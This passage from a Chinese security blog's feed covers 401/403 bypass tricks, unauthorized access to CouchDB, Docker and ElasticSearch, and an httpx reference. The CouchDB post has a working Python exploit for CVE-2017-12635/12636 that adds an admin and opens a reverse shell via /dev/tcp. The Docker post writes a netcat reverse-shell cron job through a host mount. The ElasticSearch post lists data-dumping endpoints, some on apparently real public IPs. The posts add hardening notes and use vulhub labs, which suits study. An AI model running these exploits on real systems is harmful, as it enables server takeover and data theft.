<li>使用此技巧,您也许能够绕过 401 和 403<br>状态代码,只要请求链中的某些服务器依赖于代理添加/中间服务器添加的标头,但您定义将其删除。<br>然而,值得注意的是,仅仅因为您可以删除链中某处的标头并不一定意味着主机容易受到攻击。<br>这只是利用底层问题的第一步,还需要进一步探索以确定是否可以用来绕过授权检查。<br>此外,重要的是要认识到此技术可能会在服务器端导致意外问题,具体取决于服务器如何处理已删除的标头。</li>
<li>快速且简单的测试是 <code>Cookie</code>标头,针对需要身份验证的端点(假设目标系统使用 cookie 身份验证)。 以以下请求为例:</li>
</ul>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">GET /api/me HTTP/1.1</span><br><span class="line">Host: foo.bar</span><br><span class="line">Cookie: session=xxx</span><br><span class="line">Connection: close, Cookie</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>如果我们这么说 <code>/api/me</code>当请求经过身份验证时,应该返回包含用户详细信息的 HTTP 200,并且 <code>session=xxx</code>是一个有效的经过身份验证的 cookie 会话值,那么如果系统允许原始请求中定义的逐跳标头来修改发送到后端的标头,则上述请求可能会返回预期响应之外的内容。</p>
<ul>
<li><strong>通过隐藏 X-Forwarded-For 来屏蔽原始 IP 地址</strong></li>
</ul>
<blockquote>
<p>当前端代理接受用户请求时,它可能会将该用户的IP地址添加到 <code>X-Forwarded-For</code>(XFF)标头,因此后端的基础设施和应用程序可以知道请求用户的 IP 地址。 但是,通过指示代理此标头是逐跳的,我们最终可能会从请求中删除此标头,并且后端应用程序要么永远不会收到它,要么会收到一个不是原始 IP 地址值用户,但属于链中其他位置的服务器。</p>
</blockquote>
<blockquote>
<p>另一件需要记住的事情是 XFF 只是一个用于传递用户真实 IP 地址的标头 - 根据目标系统,您可能还拥有 <code>Forwarded</code>, <code>X-Real-IP</code>,以及其他一些不太常见的。</p>
</blockquote>
<p><strong>使用连接标头进行模糊测试的示例有效负载:</strong></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Hop by hop headers:</span><br><span class="line">- Accept</span><br><span class="line">- Accept-Application</span><br><span class="line">- Accept-Charset</span><br><span class="line">- Accepted</span><br><span class="line">- Accept-Encoding</span><br><span class="line">- Accept-Encodxng</span><br><span class="line">- Accept-Language</span><br><span class="line">- Accept-Ranges</span><br><span class="line">- Accept-Version</span><br><span class="line">- Access-Control-Allow-Credentials</span><br><span class="line">- Access-Control-Allow-Headers</span><br><span class="line">- Access-Control-Allow-Methods</span><br><span class="line">- Access-Control-Allow-Origin</span><br><span class="line">- Access-Control-Expose-Headers</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h2 id="Spring框架特定的绕过技术"><a href="#Spring框架特定的绕过技术" class="headerlink" title="Spring框架特定的绕过技术"></a><strong>Spring框架特定的绕过技术</strong></h2><ul>
<li>版本 < 5.3 有 <code>useSuffixPatternMatch</code>设置默认设置为 true。 这意味着方法映射到例如 <code>/admin</code>也会匹配 <code>/admin[.].*</code>。 它可用于绕过访问限制</li>
</ul>
<h1 id="😢over…-…-…"><a href="#😢over…-…-…" class="headerlink" title="😢over… … …"></a>😢over… … …</h1></div></div></div>
<div class="note red icon-padding modern"><i class="note-icon fas fa-fan"></i><p>啊,再见了,再见了,哈</p>
</div>
<div class="note orange icon-padding modern"><i class="note-icon fas fa-battery-half"></i><p>我们会再见的对么</p>
</div>
<div class="note blue icon-padding modern"><i class="note-icon fas fa-bullhorn"></i><p>再见你要幸福</p>
</div>
<div class="note purple icon-padding modern"><i class="note-icon far fa-hand-scissors"></i><p>燕子,燕子</p>
</div>
]]></content>
<categories>
<category>技巧</category>
<category>401&&403-Bypass</category>
</categories>
<tags>
<tag>Bypass</tag>
<tag>401&&403</tag>
</tags>
</entry>
<entry>
<title>Couchdb 未授权访问</title>
<url>/2023/05/17/Couchdb/</url>
<content><![CDATA[<div class="note red icon-padding flat"><i class="note-icon fas fa-fan"></i><p>奇奇怪怪</p>
</div>
<div class="note orange icon-padding flat"><i class="note-icon fas fa-battery-half"></i><p>安全小技巧</p>
</div>
<div class="note blue icon-padding flat"><i class="note-icon fas fa-bullhorn"></i><p>新的一天开始了</p>
</div>
<div class="note purple icon-padding flat"><i class="note-icon far fa-hand-scissors"></i><p>剪刀石头布,哈,我又赢了 </p>
</div>
<div class="timeline purple"><div class='timeline-item headline'><div class='timeline-item-title'><div class='item-circle'><p>2023</p>
</div></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>05-17</p>
</div></div><div class='timeline-item-content'><h1 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h1><p>Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。</p>
<p>CouchDB 默认在 5984 端口开放 Restful 的 API 接口,用于数据库的管理功能。其 HTTP Server 默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过 API 访问导致未授权访问。任何连接到服务器端口上的人,都可以调用相关 API 对服务器上的数据进行任意的增删改查,其中通过 API 修改 local.ini 配置文件,可进一步导致执行任意系统命令,获取服务器权限!</p>
<h1 id="漏洞环境"><a href="#漏洞环境" class="headerlink" title="漏洞环境"></a>漏洞环境</h1><p>使用 vulhub 搭建</p>
<p>启动完成后,访问<code>http://your-ip:5984/</code>即可看到Couchdb的欢迎页面。</p>
<h1 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h1><h3 id="Couchdb-垂直权限绕过漏洞(CVE-2017-12635)"><a href="#Couchdb-垂直权限绕过漏洞(CVE-2017-12635)" class="headerlink" title="Couchdb 垂直权限绕过漏洞(CVE-2017-12635)"></a><strong>Couchdb 垂直权限绕过漏洞(CVE-2017-12635)</strong></h3><p>任意用户创建</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">数据包中发送两个 roles 数据包,可绕过限制,建立用户</span><br><span class="line">PUT /_users/org.couchdb.user:vulhub HTTP/1.1</span><br><span class="line">Host: your-ip:5984</span><br><span class="line">Accept: */*</span><br><span class="line">Accept-Language: en</span><br><span class="line">User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)</span><br><span class="line">Connection: close</span><br><span class="line">Content-Type: application/json</span><br><span class="line">Content-Length: 108</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line"> <span class="string">"type"</span>: <span class="string">"user"</span>,</span><br><span class="line"> <span class="string">"name"</span>: <span class="string">"vulhub"</span>,</span><br><span class="line"> <span class="string">"roles"</span>: [<span class="string">"_admin"</span>],</span><br><span class="line"> <span class="string">"roles"</span>: [],</span><br><span class="line"> <span class="string">"password"</span>: <span class="string">"vulhub"</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h3 id="Couchdb-任意命令执行漏洞(CVE-2017-12636)"><a href="#Couchdb-任意命令执行漏洞(CVE-2017-12636)" class="headerlink" title="Couchdb 任意命令执行漏洞(CVE-2017-12636)"></a><strong>Couchdb 任意命令执行漏洞(CVE-2017-12636)</strong></h3><p>在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置<code>query_server</code>,这个配置项在设计、执行view的时候将被运行。</p>
<p><strong>利用条件</strong></p>
<p>影响版本:小于 1.7.0 以及 小于 2.1.1</p>
<p>该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用<a href="https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635">CVE-2017-12635</a>先增加一个管理员用户。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">利用方式</span><br><span class="line">使用msf模块:linux/http/apache_couchdb_cmd_exec</span><br><span class="line"></span><br><span class="line">poc 代码</span><br><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line">import requests</span><br><span class="line">import json</span><br><span class="line">import <span class="built_in">base64</span></span><br><span class="line">from requests.auth import HTTPBasicAuth</span><br><span class="line"></span><br><span class="line">target = <span class="string">'http://your-ip/:5984'</span></span><br><span class="line"><span class="built_in">command</span> = rb<span class="string">""</span><span class="string">"sh -i >& /dev/tcp/10.0.0.1/443 0>&1"</span><span class="string">""</span></span><br><span class="line">version = 1</span><br><span class="line"></span><br><span class="line">session = requests.session()</span><br><span class="line">session.headers = {</span><br><span class="line"> <span class="string">'Content-Type'</span>: <span class="string">'application/json'</span></span><br><span class="line">}</span><br><span class="line"><span class="comment"># session.proxies = {</span></span><br><span class="line"><span class="comment"># 'http': 'http://127.0.0.1:8085'</span></span><br><span class="line"><span class="comment"># }</span></span><br><span class="line">session.put(target + <span class="string">'/_users/org.couchdb.user:wooyun'</span>, data=<span class="string">''</span><span class="string">'{</span></span><br><span class="line"><span class="string"> "type": "user",</span></span><br><span class="line"><span class="string"> "name": "wooyun",</span></span><br><span class="line"><span class="string"> "roles": ["_admin"],</span></span><br><span class="line"><span class="string"> "roles": [],</span></span><br><span class="line"><span class="string"> "password": "wooyun"</span></span><br><span class="line"><span class="string">}'</span><span class="string">''</span>)</span><br><span class="line"></span><br><span class="line">session.auth = HTTPBasicAuth(<span class="string">'wooyun'</span>, <span class="string">'wooyun'</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">command</span> = <span class="string">"bash -c '{echo,%s}|{base64,-d}|{bash,-i}'"</span> % base64.b64encode(<span class="built_in">command</span>).decode()</span><br><span class="line"><span class="keyword">if</span> version == 1:</span><br><span class="line"> session.put(target + (<span class="string">'/_config/query_servers/cmd'</span>), data=json.dumps(<span class="built_in">command</span>))</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> host = session.get(target + <span class="string">'/_membership'</span>).json()[<span class="string">'all_nodes'</span>][0]</span><br><span class="line"> session.put(target + <span class="string">'/_node/{}/_config/query_servers/cmd'</span>.format(host), data=json.dumps(<span class="built_in">command</span>))</span><br><span class="line"></span><br><span class="line">session.put(target + <span class="string">'/wooyun'</span>)</span><br><span class="line">session.put(target + <span class="string">'/wooyun/test'</span>, data=<span class="string">'{"_id": "wooyuntest"}'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> version == 1:</span><br><span class="line"> session.post(target + <span class="string">'/wooyun/_temp_view?limit=10'</span>, data=<span class="string">'{"language":"cmd","map":""}'</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> session.put(target + <span class="string">'/wooyun/_design/test'</span>, data=<span class="string">'{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}'</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h1 id="漏洞加固"><a href="#漏洞加固" class="headerlink" title="漏洞加固"></a>漏洞加固</h1><ul>
<li>指定CouchDB绑定的IP (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。注:修改后只有本机才能访问CouchDB。</li>
<li>设置访问密码 (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码</li>
</ul>
<h1 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h1><ul>
<li><a href="https://paper.seebug.org/409/#0x09-couchdb">https://paper.seebug.org/409/#0x09-couchdb</a></li>
<li><a href="https://vulhub.org/#/environments/couchdb/CVE-2017-12636/">https://vulhub.org/#/environments/couchdb/CVE-2017-12636/</a></li>
</ul>
</div></div></div>
<div class="note red icon-padding modern"><i class="note-icon fas fa-fan"></i><p>啊,再见了,再见了,哈</p>
</div>
<div class="note orange icon-padding modern"><i class="note-icon fas fa-battery-half"></i><p>我们会再见的对么</p>
</div>
<div class="note blue icon-padding modern"><i class="note-icon fas fa-bullhorn"></i><p>再见你要幸福</p>
</div>
<div class="note purple icon-padding modern"><i class="note-icon far fa-hand-scissors"></i><p>燕子,燕子</p>
</div>
]]></content>
<categories>
<category>未授权访问</category>
<category>Couchdb</category>
</categories>
<tags>
<tag>Couchdb</tag>
</tags>
</entry>
<entry>
<title>Docker 未授权访问</title>
<url>/2023/05/18/Docker/</url>
<content><![CDATA[<div class="note red icon-padding flat"><i class="note-icon fas fa-fan"></i><p>奇奇怪怪</p>
</div>
<div class="note orange icon-padding flat"><i class="note-icon fas fa-battery-half"></i><p>安全小技巧</p>
</div>
<div class="note blue icon-padding flat"><i class="note-icon fas fa-bullhorn"></i><p>新的一天开始了</p>
</div>
<div class="note purple icon-padding flat"><i class="note-icon far fa-hand-scissors"></i><p>剪刀石头布,哈,我又赢了 </p>
</div>
<div class="timeline red"><div class='timeline-item headline'><div class='timeline-item-title'><div class='item-circle'><p>2023</p>
</div></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>05-18</p>
</div></div><div class='timeline-item-content'><h1 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h1><ul>
<li>Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell</li>
</ul>
<h1 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h1><ul>
<li>vulhub靶场环境</li>
<li>docker-compose build<br>docker-compose up -d</li>
<li>环境启动后,将监听2375端口。</li>
<li>测试多个环境启动失败,最后使用官方靶场推荐环境,ubuntu20.04 正常启动</li>
</ul>
<h1 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h1><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">http://xxx:2375/version 查看版本信息</span><br><span class="line">http://xxx:2375/info 查看info信息</span><br><span class="line">http://host:2375/containers/json 当前服务器运行容器列表信息</span><br><span class="line"></span><br><span class="line">使用命令远程连接目标执行docker 指令</span><br><span class="line">docker -H tcp://xxx:2375 images 返回远程目标的 images 信息,也可以执行其他docker命令</span><br><span class="line"></span><br><span class="line">**获取宿主机权限**</span><br><span class="line"></span><br><span class="line">远程命令运行容器并且使用 -v 参数将宿主机 /root 目录挂载到容器 /mnt/setc 目录</span><br><span class="line">随后可以将生成 ssh 公钥私钥,将公钥写入目标 /root/.ssh/authorized_keys 文件</span><br><span class="line">随后使用私钥登陆</span><br><span class="line">docker -H tcp://192.168.56.117:2375 run -it -v /root:/mnt/setc alpine:latest /bin/sh</span><br><span class="line"></span><br><span class="line">远程命令运行容器使用 -v 参数将宿主机 /etc 目录挂载到容器 /mnt/setc 目录</span><br><span class="line">随后写入定时任务命令反弹shell</span><br><span class="line">/etc/crontab ,也可以挂载 /var/spool/cron/ 写入定时任务反弹shell</span><br><span class="line">docker -H tcp://192.168.56.117:2375 run -it -v /etc:/mnt/setc alpine:latest /bin/sh</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">py poc 代码</span><br><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line">import docker</span><br><span class="line"></span><br><span class="line">client = docker.DockerClient(base_url=<span class="string">'http://192.168.56.117:2375/'</span>)</span><br><span class="line">data = client.containers.run(<span class="string">'alpine:latest'</span>, r<span class="string">''</span><span class="string">'sh -c "echo '</span>* * * * * /usr/bin/nc 192.168.56.1 1111 -e /bin/sh<span class="string">' >> /tmp/etc/crontabs/root" '</span><span class="string">''</span>, remove=True, volumes={<span class="string">'/etc'</span>: {<span class="string">'bind'</span>: <span class="string">'/tmp/etc'</span>, <span class="string">'mode'</span>: <span class="string">'rw'</span>}})</span><br></pre></td></tr></table></figure>
<h1 id="漏洞加固"><a href="#漏洞加固" class="headerlink" title="漏洞加固"></a>漏洞加固</h1><ul>
<li>在不必需的情况下,不要启用 docker 的 remote api 服务,如果必须使用的话,可以采用如下的加固方式:</li>
<li>设置 ACL,仅允许信任的来源 IP 连接;</li>
<li>设置 TLS 认证,官方的文档为 Protect the Docker daemon socket</li>
<li>客户端连接时需要设置以下环境变量 export DOCKER_TLS_VERIFY=1</li>
</ul>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">export DOCKER_CERT_PATH=~/.docker</span><br><span class="line">export DOCKER_HOST=tcp://10.10.10.10:2375</span><br><span class="line">export DOCKER_API_VERSION=1.12</span><br></pre></td></tr></table></figure>
<ul>
<li>在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证</li>
</ul>
<h1 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h1><ul>
<li><a href="https://paper.seebug.org/409/#0x010-docker">https://paper.seebug.org/409/#0x010-docker</a></li>
<li><a href="https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.zh-cn.md">https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.zh-cn.md</a></li>
<li><a href="https://0a00.github.io/2022/11/26/docker1/">https://0a00.github.io/2022/11/26/docker1/</a></li>
</ul>
</div></div></div>
<div class="note red icon-padding modern"><i class="note-icon fas fa-fan"></i><p>啊,再见了,再见了,哈</p>
</div>
<div class="note orange icon-padding modern"><i class="note-icon fas fa-battery-half"></i><p>我们会再见的对么</p>
</div>
<div class="note blue icon-padding modern"><i class="note-icon fas fa-bullhorn"></i><p>再见你要幸福</p>
</div>
<div class="note purple icon-padding modern"><i class="note-icon far fa-hand-scissors"></i><p>燕子,燕子</p>
</div>
]]></content>
<categories>
<category>未授权访问</category>
<category>Docker</category>
</categories>
<tags>
<tag>Docker</tag>
</tags>
</entry>
<entry>
<title>ElasticSearch 未授权访问</title>
<url>/2023/05/16/ElasticSearch/</url>
<content><![CDATA[<div class="note red icon-padding flat"><i class="note-icon fas fa-fan"></i><p>方糖的博客</p>
</div>
<div class="note orange icon-padding flat"><i class="note-icon fas fa-battery-half"></i><p>安全小技巧</p>
</div>
<div class="note blue icon-padding flat"><i class="note-icon fas fa-bullhorn"></i><p>新的一年快到了….</p>
</div>
<div class="note purple icon-padding flat"><i class="note-icon far fa-hand-scissors"></i><p>剪刀石头布,哈,我又赢了 </p>
</div>
<div class="timeline pink"><div class='timeline-item headline'><div class='timeline-item-title'><div class='item-circle'><p>2023</p>
</div></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>05-16</p>
</div></div><div class='timeline-item-content'><h1 id="漏洞介绍"><a href="#漏洞介绍" class="headerlink" title="漏洞介绍"></a>漏洞介绍</h1><p>Elasticsearch 是一款 java 编写的企业级搜索服务。越来越多的公司使用 ELK 作为日志分析,启动此服务默认会开放9200端口,可被非法操作数据。</p>
<p>漏洞检测:默认端口9200</p>
<p>相当于一个API,任何人访问这个地址,就可以调用api,进行数据的增删改操作。</p>
<p>返回内容中包含”You Know, for Search”</p>
<h1 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h1><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line">利用接口</span><br><span class="line">http://x.x.x.x:9200/_nodes</span><br><span class="line">http://x.x.x.x:9200/_river</span><br><span class="line">http://101.198.161.130:9200/_cat/indices/</span><br><span class="line">http://101.198.161.130:9200/_plugin/head/</span><br><span class="line">http://101.198.161.130:9200/_nodes?prettify</span><br><span class="line">http://101.198.161.130:9200/_status</span><br><span class="line">http://101.198.161.130:9200/_search?pretty</span><br><span class="line">http://10.203.9.131:9200/zjftu/</span><br><span class="line">http://10.203.9.131:9200/zjftu/_search?pretty</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h1 id="修复方案"><a href="#修复方案" class="headerlink" title="修复方案"></a>修复方案</h1><ul>
<li>关闭9200端口</li>
<li>防火墙规则限制禁止外网访问端口</li>
<li>设置端口账号认证</li>
</ul>
<h1 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h1><p><a href="http://blkstone.github.io/2017/09/27/elasticsearch-unauthorized-access/">http://blkstone.github.io/2017/09/27/elasticsearch-unauthorized-access/</a></p>
<p><a href="http://blkstone.github.io/2017/09/27/elasticsearch-unauthorized-access/">http://blkstone.github.io/2017/09/27/elasticsearch-unauthorized-access/</a></p>
</div></div></div>
<div class="note red icon-padding modern"><i class="note-icon fas fa-fan"></i><p>啊,再见了,再见了,哈</p>
</div>
<div class="note orange icon-padding modern"><i class="note-icon fas fa-battery-half"></i><p>我们会再见的对么</p>
</div>
<div class="note blue icon-padding modern"><i class="note-icon fas fa-bullhorn"></i><p>再见你要幸福</p>
</div>
<div class="note purple icon-padding modern"><i class="note-icon far fa-hand-scissors"></i><p>燕子,燕子</p>
</div>
]]></content>
<categories>
<category>未授权访问</category>
<category>ElasticSearch</category>
</categories>
<tags>
<tag>ElasticSearch</tag>
</tags>
</entry>
<entry>
<title>HTTPX-参考手册</title>
<url>/2023/11/26/HTTPX-Reference/</url>
<content><![CDATA[<div class="note red icon-padding flat"><i class="note-icon fas fa-fan"></i><p>奇奇怪怪</p>
</div>
<div class="note orange icon-padding flat"><i class="note-icon fas fa-battery-half"></i><p>安全小技巧</p>
</div>
<div class="note blue icon-padding flat"><i class="note-icon fas fa-bullhorn"></i><p>新的一天开始了</p>
</div>
<div class="note purple icon-padding flat"><i class="note-icon far fa-hand-scissors"></i><p>剪刀石头布,哈,我又赢了 </p>
</div>
<div class="timeline green"><div class='timeline-item headline'><div class='timeline-item-title'><div class='item-circle'><p>2023</p>
</div></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>11-26</p>
</div></div><div class='timeline-item-content'><p>永远新的开始啊</p>
<aside>
💡 **目录列表**
</aside>
<hr>
<h1 id="💢-简介"><a href="#💢-简介" class="headerlink" title="💢 简介"></a>💢 简介</h1><blockquote>
<p><code>httpx</code> 是一个快速且多用途的HTTP工具包,允许使用retryablehttp库运行多个探测器。它旨在通过增加线程数量来保持结果的可靠性。</p>
</blockquote>
<h2 id="功能-🤪"><a href="#功能-🤪" class="headerlink" title="功能 🤪"></a>功能 🤪</h2><ul>
<li>发送 GET、POST、PUT、DELETE 等 HTTP 请求</li>
<li>支持流式传输</li>
<li>支持重定向</li>
<li>支持身份验证</li>
<li>支持代理</li>
<li>支持 cookie</li>
<li>支持 TLS</li>
</ul>
<h2 id="安全领域-🧐"><a href="#安全领域-🧐" class="headerlink" title="安全领域 🧐"></a>安全领域 🧐</h2><ul>
<li>漏洞扫描</li>
<li>渗透测试</li>
<li>安全研究</li>
<li>网络安全监控</li>
<li>Web 应用防火墙</li>
</ul>
<h2 id="安装方式-😤"><a href="#安装方式-😤" class="headerlink" title="安装方式 😤"></a>安装方式 😤</h2><blockquote>
<p><code>go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest</code></p>
</blockquote>
<h1 id="😖-参数详解"><a href="#😖-参数详解" class="headerlink" title="😖 参数详解"></a>😖 参数详解</h1><h3 id="目标指定-🤐"><a href="#目标指定-🤐" class="headerlink" title="目标指定 🤐"></a><strong><strong><strong><strong><strong><strong><strong><strong><strong>目标指定</strong></strong></strong></strong></strong></strong></strong></strong></strong> 🤐</h3><ul>
<li><code>-l, -list string</code>主机列表的文件</li>
<li><code>-rr,</code> -<code>request</code> 字符串文件包含原始请求</li>
<li><code>-u,</code>要探测的主机ip,域名,逗号分割多个目标</li>
</ul>
<h3 id="探测功能-🤩"><a href="#探测功能-🤩" class="headerlink" title="探测功能 🤩"></a><strong><strong><strong><strong><strong><strong><strong>探测功能</strong></strong></strong></strong></strong></strong></strong> 🤩</h3><ul>
<li><code>-sc</code> , 显示响应状态代码</li>
<li><code>-cl</code> , 显示响应内容长度</li>
<li><code>-ct</code> , 显示响应内容类型</li>
<li><code>-location</code> , 显示响应重定向位置</li>
<li><code>-favicon</code> , 显示/favicon.ico文件的mmh3散列</li>
<li><code>-hash md5</code> , 显示响应体哈希值(支持:<code>md5,mmh3,simhash,sha1,sha256,sha512</code>)</li>
<li><code>-jarm</code> , 显示jarm指纹散列</li>
<li><code>-rt</code>, 显示响应时间</li>
<li><code>-lc,</code> 显示响应体行数</li>
<li><code>-wc</code>, 显示响应正文字数</li>
<li><code>-title</code> , 显示页面标题</li>
<li><code>-bp=1, -body-preview</code> 显示响应体的前N个字符(默认为100)</li>
<li><code>-server, -web-server</code> 显示服务器名</li>
<li><code>-td、-tech-detect</code> , 显示wappalyzer数据集上的服务应用</li>
<li><code>-method</code> , 显示HTTP请求方法</li>
<li><code>-websocket</code> , 显示服务器使用websocket</li>
<li><code>-ip</code> 显示目标主机IP</li>
<li><code>-cname</code> ,显示主机的cname</li>
<li><code>-asn</code> , 显示主机的asn信息</li>
<li><code>-cdn</code> , 显示使用的cdn ,waf</li>
<li><code>-probe</code> , 显示探针状态</li>
</ul>
<h3 id="无头测试-👏"><a href="#无头测试-👏" class="headerlink" title="无头测试 👏"></a><strong><strong><strong><strong><strong>无头测试</strong></strong></strong></strong></strong> 👏</h3><ul>
<li><code>-ss, -screen</code> 启用使用无头浏览器保存页面截图</li>
<li><code>-system-chrome</code> 启用使用本地安装的chrome屏幕截图</li>
<li><code>-esb, -exclude-screen - shots -bytes</code> 启用从json输出中排除截图字节</li>
<li><code>-ehb, -exclude-headless-body</code> 启用从json输出中排除headless header</li>
</ul>
<h3 id="参数匹配-😮💨"><a href="#参数匹配-😮💨" class="headerlink" title="参数匹配 😮💨"></a>参数匹配 😮💨</h3><ul>
<li><code>-mc, -match-code string</code> 匹配响应与指定的状态码(-mc 200,302)</li>
<li><code>-ml, -match-length</code> 字符串匹配指定内容长度的响应(-ml 100,102,0)</li>
<li><code>-mlc,-match-line-count string</code> 匹配具有指定行数的响应体(-mlc 423,532)</li>
<li><code>-mwc, -match-word-count string</code> 根据指定的字数匹配响应体(-mwc 43,55)</li>
<li><code>-mfc, -match-favicon string</code> 匹配响应与指定的favicon哈希(-mfc 1494302000)</li>
<li><code>-ms, -match-string string</code> 与指定字符串进行页面内容与标题匹配(-ms admin)</li>
<li><code>-mcdn, -match-cdn string</code> 匹配是否为指定CDN提供商(cloudfront, fastly, google, leaseweb, stackpath)</li>
<li><code>-mrt, -match-response-time string</code> 以秒为单位匹配具有指定响应时间的响应(-mrt ‘< 1s’)</li>
<li><code>-mdc, -match-condition string</code> 使用DSL表达式条件匹配响应</li>
</ul>
<h3 id="响应提取-🫠"><a href="#响应提取-🫠" class="headerlink" title="响应提取 🫠"></a>响应提取 🫠</h3><ul>
<li><code>-er, -extract-regex string[]</code> 显示匹配正则的响应内容(-er “<title>(.*?)</title>”)</li>
<li><code>-ep, -extract-preset string[]</code> 显示与预定义正则表达式(ipv4,mail,url)匹配的响应内容</li>
</ul>
<h3 id="过滤参数-🤗"><a href="#过滤参数-🤗" class="headerlink" title="过滤参数 🤗"></a>过滤参数 🤗</h3><ul>
<li><code>-fc, -filter-code string</code> 排除目标,指定状态码过滤掉响应,排除掉403,401响应 (-fc 403,401)</li>
<li><code>-fep, -filter-error-page</code> 过滤响应,基于ML的错误页面检测</li>
<li><code>-fl, -filter-length string</code> 过滤指定内容长度的响应(-fl 23,33)</li>
<li><code>-flc, -filter-line-count string</code> , 过滤带有指定行数的响应体(-flc 423,532)</li>
<li><code>-fwc, -filter-word-count string</code> 过滤指定字数的响应体(-fwc 423,532)</li>
<li><code>-ffc, -filter-favicon string[]</code> 使用指定的favicon哈希值过滤响应(-ffc 1494302000)</li>
<li><code>-fs, -filter-string</code> 指定字符串过滤响应(-fs admin)</li>
<li><code>-fe, -filter-regex string</code> , 使用指定的正则表达式过滤响应(-fe admin 302 200 )</li>
<li><code>-fcdn, -filter-cdn string</code> 过滤指定CDN提供商的主机(cloudfront, fastly,google,leaseweb, stackpath)</li>
<li><code>-frt, -filter-response-time string</code> , 过滤响应,指定响应时间为秒(- first ‘> 1’)</li>
<li><code>-fdc, -filter-condition string</code> 过滤带有DSL表达式条件的响应</li>
<li><code>-strip html</code> , 删除响应中的所有标签。支持的格式:html,xml(默认html)-strip=html</li>
</ul>
<h3 id="速率控制-🤣"><a href="#速率控制-🤣" class="headerlink" title="速率控制 🤣"></a>速率控制 🤣</h3><ul>
<li><code>-t, -threads int</code> 要使用的线程数(默认50)</li>
<li><code>-rl, -rate-limit int</code> 每秒发送的最大请求数(默认为150)</li>
<li><code>-rlm, -rate-limit-minute</code> int每分钟发送的最大请求数</li>
</ul>
<h3 id="杂项-☹️"><a href="#杂项-☹️" class="headerlink" title="杂项 ☹️"></a>杂项 ☹️</h3><ul>
<li><code>-pa, -probe-all-ips</code> 探测与同一主机关联的所有ip ,一个主机名(域名)可能绑定多个 ip 地址</li>
<li><code>-p, -ports string[]</code> 要探测的端口(nmap语法:例如http:1,2-10,11,https:80以及 -ports http:443,http:80,https:8443)</li>
<li><code>-path string</code>要探测的路径或路径列表(逗号分隔,file) 可指定字符,也可文件,可用于模糊测试</li>
<li><code>-tls-probe</code> , 在提取的 TLS 域(传输层安全协议中使用的域名)上发送 http 探测(dns _ name)</li>
<li><code>-csp-probe</code> , 在提取的csp域上发送http探测</li>
<li><code>-tls-grab</code> , 执行 TLS (SSL)数据抓取</li>
<li><code>-pipeline</code> ,支持HTTP1.1管道的探测和显示服务器</li>
<li><code>-http2</code> , 支持HTTP2的探测和显示服务器</li>
<li><code>-vhost</code> , 支持虚拟主机探测</li>
<li><code>-ldv</code> , 显示内置的匹配表达式</li>
</ul>
<h3 id="更新-😢"><a href="#更新-😢" class="headerlink" title="更新 😢"></a>更新 😢</h3><ul>
<li><code>-up</code> ,更新 httpx程序</li>
<li><code>-duc</code> , 禁用更新检测</li>
</ul>
